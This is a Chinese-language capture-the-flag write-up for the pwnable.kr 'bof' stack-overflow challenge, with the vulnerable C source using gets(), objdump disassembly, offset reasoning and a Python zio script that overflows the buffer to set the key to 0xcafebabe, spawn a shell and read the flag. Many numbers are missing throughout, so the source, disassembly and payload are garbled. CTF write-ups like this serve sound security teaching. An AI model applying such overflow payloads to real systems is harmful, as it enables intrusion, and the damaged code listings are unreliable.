简单的栈溢出练习。
源码如下:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == ){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func();
return ;
}
这里需要构造栈溢出,淹没至前一个栈帧的当前函数的参数位置。
linux下可以借助gdb进行动态调试,利用objdump进行静态反编译。
这里可使用objdump来静态查看栈分配情况
objdump -d bof
:
由题设只需关注main()和func()
c <func>:
c: push %ebp
d: e5 mov %esp,%ebp
f: ec sub $0x48,%esp
: a1 mov %gs:,%eax
: f4 mov %eax,-(%ebp)
b: c0 xor %eax,%eax
d: c7 c movl $0x78c,(%esp)
: e8 fc ff ff ff call <func+> ; call printf()
: d d4 lea -(%ebp),%eax ; char[] -- offset to ebp
c: mov %eax,(%esp) ; 传参
f: e8 fc ff ff ff call <func+> ; call gets()
: d be ba fe ca cmpl $0xcafebabe,(%ebp)
b: e jne b <func+>
d: c7 b movl $0x79b,(%esp)
: e8 fc ff ff ff call <func+>
: eb c jmp <func+>
b: c7 a3 movl $0x7a3,(%esp)
: e8 fc ff ff ff call <func+>
: b f4 mov -(%ebp),%eax
a: xor %gs:,%eax
: je <func+>
: e8 fc ff ff ff call <func+>
: c9 leave
: c3 ret
a <main>:
a: push %ebp
b: e5 mov %esp,%ebp
d: e4 f0 and $0xfffffff0,%esp
: ec sub $0x10,%esp
: c7 ef be ad de movl $0xdeadbeef,(%esp)
a: e8 d ff ff ff call c <func>
f: b8 mov $0x0,%eax
a4: c9 leave
a5: c3 ret
a6: nop
可以发现
char overflowme[32]
在当前栈帧中距离EBP的偏移为0x2c,即44,再加上ESP的4,返回地址的4,即从局部变量overflowme首地址52byte的位置即为当前函数的参数key的地址。
借助python库zio(an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io.)写脚本跑出flag。
from zio import *
host = "pwnable.kr" #143.248.249.64
port =
io = zio((host, port), print_read=False, print_write=False)
payload = "a"* + "\xbe\xba\xfe\xca" + "\n"
io.write(payload+"\n")
io.write("cat flag\n")
buf = io.read_until("\n")
print buf
$ python run.py
daddy, I just pwned a buFFer :)